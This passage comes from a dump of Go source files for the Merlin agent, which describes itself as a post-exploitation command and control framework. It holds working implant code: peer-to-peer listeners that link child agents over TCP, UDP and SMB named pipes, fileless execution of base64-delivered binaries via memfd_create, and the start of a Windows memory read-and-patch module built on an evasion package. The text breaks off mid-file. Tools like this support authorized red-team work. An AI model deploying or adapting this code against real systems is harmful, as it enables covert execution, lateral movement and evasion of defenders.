length))\n\t\t\tbreak\n\t\t} else {\n\t\t\tcli.Message(cli.DEBUG, fmt.Sprintf(\"command/link.Connect(): Read %d of %d bytes into the buffer\", buff.Len(), length+4+8))\n\t\t}\n\t}\n\tcli.Message(cli.NOTE, fmt.Sprintf(\"Read %d bytes from linked %s agent %s at %s\", buff.Len(), p2p.String(linkType), args[0], time.Now().UTC().Format(time.RFC3339)))\n\n\t// Decode GOB from server response into Base\n\tvar msg messages.Delegate\n\t// First 4-bytes are for the Type/Tag, next 8-bytes are for the Length in TLV\n\treader := bytes.NewReader(buff.Bytes()[12:])\n\n\terrD := gob.NewDecoder(reader).Decode(&msg)\n\tif errD != nil {\n\t\terr = fmt.Errorf(\"there was an error decoding the gob message:\\r\\n%s\", errD.Error())\n\t\treturn\n\t}\n\n\t// Store LinkedAgent\n\tlinkedAgent := p2p.NewLink(msg.Agent, msg.Listener, conn, linkType, conn.RemoteAddr())\n\tpeerToPeerService.AddLink(linkedAgent)\n\n\tpeerToPeerService.AddDelegate(msg)\n\n\tresults.Stdout = fmt.Sprintf(\"Successfully connected to %s Agent %s at %s\", linkedAgent.String(), msg.Agent, args[0])\n\n\t// The listen function is in commands/listen.go\n\tgo listen(conn, linkType)\n\treturn\n}\n"
  },
  {
    "path": "commands/listener.go",
    "content": "/*\nMerlin is a post-exploitation command and control framework.\n\nThis file is part of Merlin.\nCopyright (C) 2024 Russel Van Tuyl\n\nMerlin is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\nany later version.\n\nMerlin is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Merlin.  If not, see <http://www.gnu.org/licenses/>.\n*/\n\npackage commands\n\nimport (\n\t// Standard\n\t\"bytes\"\n\t\"encoding/binary\"\n\t\"encoding/gob\"\n\t\"errors\"\n\t\"fmt\"\n\t\"io\"\n\t\"net\"\n\t\"strings\"\n\t\"time\"\n\n\t// Merlin\n\t\"github.com/Ne0nd0g/merlin-message\"\n\t\"github.com/Ne0nd0g/merlin-message/jobs\"\n\n\t// Internal\n\t\"github.com/Ne0nd0g/merlin-agent/v2/cli\"\n\t\"github.com/Ne0nd0g/merlin-agent/v2/p2p\"\n)\n\nconst (\n\tTCP = 0\n\tUDP = 1\n\tSMB = 2\n)\n\nconst (\n\t// MaxSizeUDP is the maximum size that a UDP fragment can be, following the moderate school of thought due to 1500 MTU\n\t// http://ithare.com/udp-from-mog-perspective/\n\tMaxSizeUDP = 1450\n)\n\n// p2pListener is a structure for managing and tracking peer to peer listeners created on this Agent as the parent used\n// to communicate with child Agents\ntype p2pListener struct {\n\tAddr     string      // Addr is a string representation of the address the listener is communicating with\n\tListener interface{} // Listener holds the connection (e.g., net.Listener for TCP and net.PacketConn for UDP)\n\tType     int         // Type is the p2pListener type\n}\n\n// String returns a string representation of the p2pListener\nfunc (p *p2pListener) String() string {\n\tswitch p.Type {\n\tcase TCP:\n\t\treturn \"TCP\"\n\tcase UDP:\n\t\treturn \"UDP\"\n\tcase SMB:\n\t\treturn \"SMB\"\n\tdefault:\n\t\treturn fmt.Sprintf(\"commands/listener/p2pListener.String() unhandled p2pListener type %d\", p.Type)\n\t}\n}\n\n// p2pListeners is a slice of instantiated network listeners\nvar p2pListeners []p2pListener\n\n// Listener binds to the provided interface and port and begins listening for incoming connections from other peer-to-peer agents\nfunc Listener(cmd jobs.Command) (results jobs.Results) {\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"commands/listen.Listener(): entering into function with %+v\", cmd))\n\tdefer cli.Message(cli.DEBUG, fmt.Sprintf(\"commands/listen.Listener(): exiting function with results: %+v\", results))\n\n\tif len(cmd.Args) < 1 {\n\t\treturn jobs.Results{Stderr: fmt.Sprintf(\"expected 1 arguments with the listener command, received %d: %+v\", len(cmd.Args), cmd.Args)}\n\t}\n\n\t// switch on first argument\n\tswitch strings.ToLower(cmd.Args[0]) {\n\tcase \"list\":\n\t\tresults.Stdout = fmt.Sprintf(\"Peer-to-Peer Listeners (%d):\\n\", len(p2pListeners))\n\t\tfor i, listener := range p2pListeners {\n\t\t\tresults.Stdout += fmt.Sprintf(\"%d. %s listener on %s\\n\", i, listener.String(), listener.Addr)\n\t\t}\n\t\treturn\n\tcase \"start\":\n\t\tif len(cmd.Args) < 3 {\n\t\t\treturn jobs.Results{Stderr: fmt.Sprintf(\"expected 3 arguments with the listener command, received %d: %+v\", len(cmd.Args), cmd.Args)}\n\t\t}\n\t\tswitch strings.ToLower(cmd.Args[1]) {\n\t\tcase \"tcp\":\n\t\t\terr := ListenTCP(cmd.Args[2])\n\t\t\tif err != nil {\n\t\t\t\tresults.Stderr = err.Error()\n\t\t\t\treturn\n\t\t\t}\n\t\t\tresults.Stdout = fmt.Sprintf(\"Successfully started TCP listener on %s\", cmd.Args[2])\n\t\t\treturn\n\t\tcase \"udp\":\n\t\t\terr := ListenUDP(cmd.Args[2])\n\t\t\tif err != nil {\n\t\t\t\tresults.Stderr = err.Error()\n\t\t\t\treturn\n\t\t\t}\n\t\t\tresults.Stdout = fmt.Sprintf(\"Successfully started UDP listener on %s\", cmd.Args[2])\n\t\t\treturn\n\t\tcase \"smb\":\n\t\t\terr := ListenSMB(cmd.Args[2])\n\t\t\tif err != nil {\n\t\t\t\tresults.Stderr = err.Error()\n\t\t\t\treturn\n\t\t\t}\n\t\t\tresults.Stdout = fmt.Sprintf(\"Successfully started SMB listener on \\\\\\\\.\\\\pipe\\\\%s\", cmd.Args[2])\n\t\t\treturn\n\t\tdefault:\n\t\t\tresults.Stderr = fmt.Sprintf(\"Unknown listener type %s\", cmd.Args[1])\n\t\t}\n\tcase \"stop\":\n\t\tif len(cmd.Args) < 3 {\n\t\t\treturn jobs.Results{Stderr: fmt.Sprintf(\"expected 3 arguments with the listener command, received %d: %+v\", len(cmd.Args), cmd.Args)}\n\t\t}\n\t\tswitch strings.ToLower(cmd.Args[1]) {\n\t\tcase \"smb\":\n\t\t\tfor i, listener := range p2pListeners {\n\t\t\t\tif listener.Type == SMB {\n\t\t\t\t\tif listener.Listener.(net.Listener).Addr().String() == fmt.Sprintf(\"\\\\\\\\.\\\\pipe\\\\%s\", cmd.Args[2]) {\n\t\t\t\t\t\terr := listener.Listener.(net.Listener).Close()\n\t\t\t\t\t\tif err != nil {\n\t\t\t\t\t\t\tresults.Stderr = err.Error()\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tresults.Stdout = fmt.Sprintf(\"Successfully closed SMB listener on %s\", cmd.Args[2])\n\t\t\t\t\t\t}\n\t\t\t\t\t\tp2pListeners = append(p2pListeners[:i], p2pListeners[i+1:]...)\n\t\t\t\t\t\treturn\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\tresults.Stderr = fmt.Sprintf(\"Unable to find and close SMB listener on %s\", cmd.Args[2])\n\t\tcase \"tcp\":\n\t\t\tfor i, listener := range p2pListeners {\n\t\t\t\tif listener.Type == TCP {\n\t\t\t\t\tif listener.Listener.(net.Listener).Addr().String() == cmd.Args[2] {\n\t\t\t\t\t\terr := listener.Listener.(net.Listener).Close()\n\t\t\t\t\t\tif err != nil {\n\t\t\t\t\t\t\tresults.Stderr = err.Error()\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tresults.Stdout = fmt.Sprintf(\"Successfully closed TCP listener on %s\", cmd.Args[2])\n\t\t\t\t\t\t}\n\t\t\t\t\t\tp2pListeners = append(p2pListeners[:i], p2pListeners[i+1:]...)\n\t\t\t\t\t\treturn\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\tresults.Stderr = fmt.Sprintf(\"Unable to find and close TCP listener on %s\", cmd.Args[2])\n\t\tcase \"udp\":\n\t\t\tfor i, listener := range p2pListeners {\n\t\t\t\tif listener.Type == UDP {\n\t\t\t\t\tif listener.Listener.(net.PacketConn).LocalAddr().String() == cmd.Args[2] {\n\t\t\t\t\t\terr := listener.Listener.(net.PacketConn).Close()\n\t\t\t\t\t\tif err != nil {\n\t\t\t\t\t\t\tresults.Stderr = err.Error()\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tresults.Stdout = fmt.Sprintf(\"Successfully closed UDP listener on %s\", cmd.Args[2])\n\t\t\t\t\t\t}\n\t\t\t\t\t\tp2pListeners = append(p2pListeners[:i], p2pListeners[i+1:]...)\n\t\t\t\t\t\treturn\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\tresults.Stderr = fmt.Sprintf(\"Unable to find and close UDP listener on %s\", cmd.Args[2])\n\t\tdefault:\n\t\t\tresults.Stderr = fmt.Sprintf(\"Unknown listener type %s\", cmd.Args[1])\n\t\t}\n\t\treturn\n\tdefault:\n\t\treturn jobs.Results{\n\t\t\tStderr: fmt.Sprintf(\"Unknown listener command: %s\", cmd.Args[0]),\n\t\t}\n\t}\n\treturn\n}\n\n// ListenTCP binds to the provided address and listens for incoming TCP connections\nfunc ListenTCP(addr string) error {\n\tlistener, err := net.Listen(\"tcp\", addr)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"commands/listen.TCPListen(): there was an error listening on %s : %s\", addr, err)\n\t}\n\n\t// Add to global listeners\n\tvar ok bool\n\tvar l p2pListener\n\tfor _, l = range p2pListeners {\n\t\tif l.Type == TCP {\n\t\t\t// Check to see if there is already a p2pListener in the map for this address\n\t\t\tif listener.Addr() == l.Listener.(net.Listener).Addr() {\n\t\t\t\tok = true\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\n\t}\n\n\tif !ok {\n\t\tl = p2pListener{\n\t\t\tAddr:     listener.Addr().String(),\n\t\t\tListener: listener,\n\t\t\tType:     TCP,\n\t\t}\n\t\tp2pListeners = append(p2pListeners, l)\n\t}\n\n\tcli.Message(cli.NOTE, fmt.Sprintf(\"Started TCP listener on %s and waiting for a connection...\", addr))\n\n\t// Listen for initial connection from upstream agent\n\tgo accept(listener, p2p.TCPREVERSE)\n\treturn nil\n}\n\n// ListenUDP binds to the provided address and listens for incoming UDP connections\nfunc ListenUDP(addr string) error {\n\tlistener, err := net.ListenPacket(\"udp\", addr)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"commands/listen.ListenUDP(): there was an error listening on %s : %s\", addr, err)\n\t}\n\tcli.Message(cli.NOTE, fmt.Sprintf(\"Started UDP listener on %s and waiting for a connection...\", addr))\n\n\t// Add to global listeners\n\tvar ok bool\n\tfor _, l := range p2pListeners {\n\t\tif l.Type == UDP {\n\t\t\tif listener.LocalAddr() == l.Listener.(net.PacketConn).LocalAddr() {\n\t\t\t\tok = true\n\t\t\t}\n\t\t}\n\t}\n\tif !ok {\n\t\tp2pListeners = append(p2pListeners, p2pListener{\n\t\t\tAddr:     listener.LocalAddr().String(),\n\t\t\tType:     UDP,\n\t\t\tListener: listener,\n\t\t})\n\t}\n\n\tgo listenUDP(listener)\n\treturn nil\n}\n\n// accept is an infinite loop listening for new connections from Agents\nfunc accept(listener net.Listener, listenerType int) {\n\tfor {\n\t\tconn, err := listener.Accept()\n\t\tif err != nil {\n\t\t\tcli.Message(cli.WARN, fmt.Sprintf(\"commands/listen.accept(): there was an error accepting the connection: %s\", err))\n\t\t\tbreak\n\t\t}\n\t\tgo listen(conn, listenerType)\n\t}\n}\n\n// listen is an infinite loop, used as a go routine, to receive data from incoming connections and subsequently add Delegate messages to the outgoing queue\nfunc listen(conn net.Conn, listenerType int) {\n\tfor {\n\t\tvar n int\n\t\tvar err error\n\t\tvar tag uint32\n\t\tvar length uint64\n\t\tvar buff bytes.Buffer\n\t\tfor {\n\t\t\tdata := make([]byte, 4096)\n\t\t\tn, err = conn.Read(data)\n\t\t\tif err != nil {\n\t\t\t\tif errors.Is(err, io.EOF) {\n\t\t\t\t\tcli.Message(cli.WARN, fmt.Sprintf(\"commands/listener.listen(): connection to %s closed, removing the listener connection.\", conn.RemoteAddr()))\n\t\t\t\t\t// Delete the listener from the global listeners\n\t\t\t\t\tfor i, l := range p2pListeners {\n\t\t\t\t\t\tif l.Listener.(net.Listener).Addr() == conn.LocalAddr() {\n\t\t\t\t\t\t\tp2pListeners = append(p2pListeners[:i], p2pListeners[i+1:]...)\n\t\t\t\t\t\t\treturn\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\terr = fmt.Errorf(\"commands/listener.listen(): there was an error reading data from linked agent %s: %s\", conn.RemoteAddr(), err)\n\t\t\t\tbreak\n\t\t\t}\n\n\t\t\t// Add the bytes to the buffer\n\t\t\tn, err = buff.Write(data[:n])\n\t\t\tif err != nil {\n\t\t\t\terr = fmt.Errorf(\"commands/listener.listen(): there was an error writing %d bytes from linked agent into the buffer %s: %s\", n, conn.RemoteAddr(), err)\n\t\t\t\tbreak\n\t\t\t}\n\n\t\t\t// If this is the first read on the connection determine the tag and data length\n\t\t\tif tag == 0 {\n\t\t\t\t// Ensure we have enough data to read the tag/type which is 4-bytes\n\t\t\t\tif buff.Len() < 4 {\n\t\t\t\t\tcli.Message(cli.DEBUG, fmt.Sprintf(\"commands/listener.listen(): Need at least 4 bytes in the buffer to read the Type/Tag for TLV but only have %d\", buff.Len()))\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\ttag = binary.BigEndian.Uint32(data[:4])\n\t\t\t\tif tag != 1 {\n\t\t\t\t\terr = fmt.Errorf(\"commands/listener.listen(): Expected a type/tag value of 1 for TLV but got %d\", tag)\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif length == 0 {\n\t\t\t\t// Ensure we have enough data to read the Length from TLV which is 8-bytes plus the 4-byte tag/type size\n\t\t\t\tif buff.Len() < 12 {\n\t\t\t\t\tcli.Message(cli.DEBUG, fmt.Sprintf(\"commands/listener.listen(): Need at least 12 bytes in the buffer to read the Length for TLV but only have %d\", buff.Len()))\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\tlength = binary.BigEndian.Uint64(data[4:12])\n\t\t\t}\n\n\t\t\t// If we've read all the data according to the length provided in TLV, then break the for loop\n\t\t\t// Type/Tag size is 4-bytes, Length size is 8-bytes for TLV\n\t\t\tif uint64(buff.Len()) == length+4+8 {\n\t\t\t\tcli.Message(cli.DEBUG, fmt.Sprintf(\"commands/listener.listen(): Finished reading data length of %d bytes into the buffer and moving forward to deconstruct the data\", length))\n\t\t\t\tbreak\n\t\t\t} else {\n\t\t\t\tcli.Message(cli.DEBUG, fmt.Sprintf(\"commands/listener.listen(): Read %d of %d bytes into the buffer\", buff.Len(), length))\n\t\t\t}\n\t\t}\n\t\tcli.Message(cli.NOTE, fmt.Sprintf(\"listener on %s read %d bytes from linked Agent %s at %s\", conn.LocalAddr(), buff.Len(), conn.RemoteAddr(), time.Now().UTC().Format(time.RFC3339)))\n\n\t\t// Check for errors from the nested FOR loop\n\t\tif err != nil {\n\t\t\tcli.Message(cli.WARN, err.Error())\n\t\t\tbreak\n\t\t}\n\n\t\t// Gob decode the message\n\t\tvar msg messages.Delegate\n\t\treader := bytes.NewReader(buff.Bytes()[12:])\n\t\terr = gob.NewDecoder(reader).Decode(&msg)\n\t\tif err != nil {\n\t\t\tcli.Message(cli.WARN, fmt.Sprintf(\"commands/listener.listen(): there was an error gob decoding a delegate message: %s\", err))\n\t\t\treturn\n\t\t}\n\n\t\t// Store LinkedAgent\n\t\t_, err = peerToPeerService.GetLink(msg.Agent)\n\t\tif err != nil {\n\t\t\t// Reverse SMB & TCP agents need to be added after initial checkin\n\t\t\tlinkedAgent := p2p.NewLink(msg.Agent, msg.Listener, conn, listenerType, conn.RemoteAddr())\n\t\t\tpeerToPeerService.AddLink(linkedAgent)\n\t\t} else {\n\t\t\t// Update the Link's connection to the current one\n\t\t\terr = peerToPeerService.UpdateConnection(msg.Agent, conn, conn.RemoteAddr())\n\t\t\tif err != nil {\n\t\t\t\tcli.Message(cli.WARN, fmt.Sprintf(\"commands/listener.listen(): %s\", err))\n\t\t\t}\n\t\t}\n\n\t\t// Add the message to the queue\n\t\tpeerToPeerService.AddDelegate(msg)\n\t}\n}\n\n// listenUDP is an infinite loop, used as a go routine, to receive data from incoming connections and subsequently add Delegate messages to the outgoing queue\nfunc listenUDP(listener net.PacketConn) {\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"command/listener.listenUDP(): entering into function with listener: %+v\", listener))\n\tdefer cli.Message(cli.DEBUG, \"command/listener.listenUDP(): exiting function\")\n\n\tfor {\n\t\tvar err error\n\t\tvar addr net.Addr\n\t\tvar n int\n\t\tvar tag uint32\n\t\tvar length uint64\n\t\tvar buff bytes.Buffer\n\t\tfor {\n\t\t\tdata := make([]byte, MaxSizeUDP)\n\t\t\tn, addr, err = listener.ReadFrom(data)\n\t\t\tcli.Message(cli.DEBUG, fmt.Sprintf(\"UDP listener read %d bytes on %s from %s at %s\", n, listener.LocalAddr(), addr, time.Now().UTC().Format(time.RFC3339)))\n\t\t\tif err != nil {\n\t\t\t\terr = fmt.Errorf(\"commands/listener.listenUDP(): there was an error accepting the UDP connection from %s : %s\", addr, err)\n\t\t\t\tbreak\n\t\t\t}\n\n\t\t\t// Add the bytes to the buffer\n\t\t\tn, err = buff.Write(data[:n])\n\t\t\tif err != nil {\n\t\t\t\terr = fmt.Errorf(\"commands/listener.listenUDP(): there was an error writing %d bytes from linked agent into the buffer %s: %s\", n, addr, err)\n\t\t\t\tbreak\n\t\t\t}\n\n\t\t\t// If this is the first read on the connection determine the tag and data length\n\t\t\tif tag == 0 {\n\t\t\t\t// Ensure we have enough data to read the tag/type which is 4-bytes\n\t\t\t\tif buff.Len() < 4 {\n\t\t\t\t\tcli.Message(cli.DEBUG, fmt.Sprintf(\"commands/listener.listenUDP(): Need at least 4 bytes in the buffer to read the Type/Tag for TLV but only have %d\", buff.Len()))\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\ttag = binary.BigEndian.Uint32(data[:4])\n\t\t\t\tif tag != 1 {\n\t\t\t\t\terr = fmt.Errorf(\"commands/listener.listenUDP(): Expected a type/tag value of 1 for TLV but got %d\", tag)\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif length == 0 {\n\t\t\t\t// Ensure we have enough data to read the Length from TLV which is 8-bytes plus the 4-byte tag/type size\n\t\t\t\tif buff.Len() < 12 {\n\t\t\t\t\tcli.Message(cli.DEBUG, fmt.Sprintf(\"commands/listener.listenUDP(): Need at least 12 bytes in the buffer to read the Length for TLV but only have %d\", buff.Len()))\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\tlength = binary.BigEndian.Uint64(data[4:12])\n\t\t\t}\n\n\t\t\t// If we've read all the data according to the length provided in TLV, then break the for loop\n\t\t\t// Type/Tag size is 4-bytes, Length size is 8-bytes for TLV\n\t\t\tif uint64(buff.Len()) == length+4+8 {\n\t\t\t\tcli.Message(cli.DEBUG, fmt.Sprintf(\"commands/listener.listenUDP(): Finished reading data length of %d bytes into the buffer and moving forward to deconstruct the data\", length))\n\t\t\t\tbreak\n\t\t\t} else {\n\t\t\t\tcli.Message(cli.DEBUG, fmt.Sprintf(\"commands/listener.listenUDP(): Read %d of %d bytes into the buffer\", buff.Len(), length))\n\t\t\t}\n\t\t}\n\t\tcli.Message(cli.NOTE, fmt.Sprintf(\"UDP listener on %s read %d bytes from %s at %s\", listener.LocalAddr(), buff.Len(), addr, time.Now().UTC().Format(time.RFC3339)))\n\n\t\t// Check for errors from the nested FOR loop\n\t\tif err != nil {\n\t\t\tcli.Message(cli.WARN, err.Error())\n\t\t\tbreak\n\t\t}\n\n\t\t// Gob decode the message\n\t\tvar msg messages.Delegate\n\t\treader := bytes.NewReader(buff.Bytes()[12:])\n\t\terr = gob.NewDecoder(reader).Decode(&msg)\n\t\tif err != nil {\n\t\t\tcli.Message(cli.WARN, fmt.Sprintf(\"commands/listener.listenUDP(): there was an error gob decoding a delegate message: %s\", err))\n\t\t\treturn\n\t\t}\n\n\t\t// Store LinkedAgent\n\t\t_, err = peerToPeerService.GetLink(msg.Agent)\n\t\tif err != nil {\n\t\t\t// Reverse UDP agents need to be added after initial checkin\n\t\t\tlinkedAgent := p2p.NewLink(msg.Agent, msg.Listener, listener, p2p.UDPREVERSE, addr)\n\t\t\tpeerToPeerService.AddLink(linkedAgent)\n\t\t} else {\n\t\t\t// Update the Link's connection to the current one\n\t\t\terr = peerToPeerService.UpdateConnection(msg.Agent, listener, addr)\n\t\t\tif err != nil {\n\t\t\t\tcli.Message(cli.WARN, fmt.Sprintf(\"commands/listener.listen(): %s\", err))\n\t\t\t}\n\t\t}\n\n\t\t// Add the message to the queue\n\t\tpeerToPeerService.AddDelegate(msg)\n\t}\n}\n"
  },
  {
    "path": "commands/memfd.go",
    "content": "//go:build !linux\n\n/*\nMerlin is a post-exploitation command and control framework.\n\nThis file is part of Merlin.\nCopyright (C) 2024 Russel Van Tuyl\n\nMerlin is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\nany later version.\n\nMerlin is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Merlin.  If not, see <http://www.gnu.org/licenses/>.\n*/\n\npackage commands\n\nimport (\n\t// Standard\n\t\"fmt\"\n\t\"runtime\"\n\n\t// Merlin Main\n\t\"github.com/Ne0nd0g/merlin-message/jobs\"\n)\n\n// Memfd places a linux executable file in-memory, executes it, and returns the results\n// Uses the linux memfd_create API call to create an anonymous file\n// https://man7.org/linux/man-pages/man2/memfd_create.2.html\n// http://manpages.ubuntu.com/manpages/bionic/man2/memfd_create.2.html\nfunc Memfd(cmd jobs.Command) (result jobs.Results) {\n\tresult.Stderr = fmt.Sprintf(\"the memfd command is not implemented for the %s operating system\", runtime.GOOS)\n\treturn\n}\n"
  },
  {
    "path": "commands/memfd_linux.go",
    "content": "//go:build linux\n\n/*\nMerlin is a post-exploitation command and control framework.\n\nThis file is part of Merlin.\nCopyright (C) 2024 Russel Van Tuyl\n\nMerlin is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\nany later version.\n\nMerlin is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Merlin.  If not, see <http://www.gnu.org/licenses/>.\n*/\n\npackage commands\n\nimport (\n\t// Standard\n\t\"encoding/base64\"\n\t\"fmt\"\n\t\"os\"\n\t\"os/exec\"\n\n\t// External\n\t\"golang.org/x/sys/unix\"\n\n\t// Merlin Main\n\t\"github.com/Ne0nd0g/merlin-message/jobs\"\n\n\t// Internal\n\t\"github.com/Ne0nd0g/merlin-agent/v2/cli\"\n)\n\n// Memfd places a linux executable file in-memory, executes it, and returns the results\n// Uses the linux memfd_create API call to create an anonymous file\n// https://man7.org/linux/man-pages/man2/memfd_create.2.html\n// http://manpages.ubuntu.com/manpages/bionic/man2/memfd_create.2.html\nfunc Memfd(cmd jobs.Command) (result jobs.Results) {\n\tif len(cmd.Args) <= 0 {\n\t\tresult.Stderr = fmt.Sprintf(\"Expected 1 or more arguments for the Memfd command, received: %d\", len(cmd.Args))\n\t\treturn\n\t}\n\t// Base64 decode the executable\n\tb, err := base64.StdEncoding.DecodeString(cmd.Args[0])\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\t// Create Memory File\n\tfd, err := memfile(\"\", b)\n\tif err != nil {\n\t\tresult.Stderr = fmt.Sprintf(\"there was an error creating the memfd file:\\r\\n%s\", err)\n\t\treturn\n\t}\n\n\t// filepath to our newly created in-memory file descriptor\n\tfp := fmt.Sprintf(\"/proc/%d/fd/%d\", os.Getpid(), fd)\n\n\t// create an *os.File, should you need it\n\t// alternatively, pass fd or fp as input to a library.\n\tf := os.NewFile(uintptr(fd), fp)\n\n\tdefer func() {\n\t\tif err := f.Close(); err != nil {\n\t\t\tresult.Stderr += err.Error()\n\t\t}\n\t}()\n\n\tvar args []string\n\tif len(cmd.Args) > 1 {\n\t\targs = cmd.Args[1:]\n\t}\n\n\tcli.Message(cli.SUCCESS, fmt.Sprintf(\"Executing anonymous file from memfd_create with arguments: %s\", args))\n\tcommand := exec.Command(fp, args...) // #nosec G204\n\tstdout, stderr := command.CombinedOutput()\n\tif len(stdout) > 0 {\n\t\tresult.Stdout = string(stdout)\n\t\tcli.Message(cli.SUCCESS, fmt.Sprintf(\"Command output:\\r\\n\\r\\n%s\", result.Stdout))\n\n\t}\n\tif stderr != nil {\n\t\tresult.Stderr = stderr.Error()\n\t\tcli.Message(cli.WARN, fmt.Sprintf(\"There was an error executing the memfd_create command:\\n%s\", stderr))\n\t}\n\n\treturn\n}\n\n// memfile takes a file name used, and the byte slice containing data the file should contain.\n// name does not need to be unique, as it's used only for debugging purposes.\n// It is up to the caller to close the returned descriptor.\n// Function retrieved from https://terinstock.com/post/2018/10/memfd_create-Temporary-in-memory-files-with-Go-and-Linux/\nfunc memfile(name string, b []byte) (int, error) {\n\tfd, err := unix.MemfdCreate(name, 0)\n\tif err != nil {\n\t\treturn 0, fmt.Errorf(\"there was an error calling memfd_create():\\r\\n%s\", err)\n\t}\n\n\terr = unix.Ftruncate(fd, int64(len(b)))\n\tif err != nil {\n\t\treturn 0, fmt.Errorf(\"there was an error calling ftruncate():\\r\\n%s\", err)\n\t}\n\n\tdata, err := unix.Mmap(fd, 0, len(b), unix.PROT_READ|unix.PROT_WRITE, unix.MAP_SHARED)\n\tif err != nil {\n\t\treturn 0, fmt.Errorf(\"there was an error calling mmap():\\r\\n%s\", err)\n\t}\n\n\tcopy(data, b)\n\n\terr = unix.Munmap(data)\n\tif err != nil {\n\t\treturn 0, fmt.Errorf(\"there was an error calling munmap():\\r\\n%s\", err)\n\t}\n\n\treturn fd, nil\n}\n"
  },
  {
    "path": "commands/memory.go",
    "content": "//go:build !windows\n\n/*\nMerlin is a post-exploitation command and control framework.\n\nThis file is part of Merlin.\nCopyright (C) 2024 Russel Van Tuyl\n\nMerlin is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\nany later version.\n\nMerlin is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Merlin.  If not, see <http://www.gnu.org/licenses/>.\n*/\n\npackage commands\n\nimport (\n\t// Merlin\n\t\"github.com/Ne0nd0g/merlin-message/jobs\"\n)\n\n// Memory is a handler for working with virtual memory on the host operating system\nfunc Memory(jobs.Command) (results jobs.Results) {\n\tresults.Stderr = \"the Memory module is not supported by the agent's operating system!\"\n\treturn\n}\n"
  },
  {
    "path": "commands/memory_windows.go",
    "content": "//go:build windows\n\n/*\nMerlin is a post-exploitation command and control framework.\n\nThis file is part of Merlin.\nCopyright (C) 2024 Russel Van Tuyl\n\nMerlin is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\nany later version.\n\nMerlin is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Merlin.  If not, see <http://www.gnu.org/licenses/>.\n*/\n\npackage commands\n\nimport (\n\t// Standard\n\t\"encoding/hex\"\n\t\"fmt\"\n\t\"strconv\"\n\t\"strings\"\n\n\t// Merlin\n\t\"github.com/Ne0nd0g/merlin-message/jobs\"\n\n\t// Internal\n\t\"github.com/Ne0nd0g/merlin-agent/v2/cli\"\n\t\"github.com/Ne0nd0g/merlin-agent/v2/os/windows/pkg/evasion\"\n)\n\n// Memory is a handler for working with virtual memory on the host operating system\nfunc Memory(cmd jobs.Command) (results jobs.Results) {\n\tif len(cmd.Args) > 0 {\n\t\tcli.Message(cli.SUCCESS, fmt.Sprintf(\"Memory module command: %s\", cmd.Args[0]))\n\t\tswitch strings.ToLower(cmd.Args[0]) {\n\t\tcase \"read\":\n\t\t\t// 0-read, 1-module, 2-procedure, 3-length\n\t\t\tif len(cmd.Args) > 3 {\n\t\t\t\tlength, err := strconv.Atoi(cmd.Args[3])\n\t\t\t\tif err != nil {\n\t\t\t\t\tresults.Stderr = fmt.Sprintf(\"there was an error converting the length to an integer: %s\", err)\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t\tdata, err := evasion.ReadBanana(cmd.Args[1], cmd.Args[2], length)\n\t\t\t\tif err != nil {\n\t\t\t\t\tresults.Stderr = err.Error()\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t\tresults.Stdout = fmt.Sprintf(\"Read %d bytes from %s!%s: %X\", length, cmd.Args[1], cmd.Args[2], data)\n\t\t\t\treturn\n\t\t\t} else {\n\t\t\t\tresults.Stderr = fmt.Sprintf(\"expected 4 arguments but got %d\", len(cmd.Args))\n\t\t\t\treturn\n\t\t\t}\n\t\tcase \"patch\":\n\t\t\t// 0-patch, 1-module, 2-procedure, 3-patch\n\t\t\tif len(cmd.Args) > 3 {\n\t\t\t\tpatch, err := 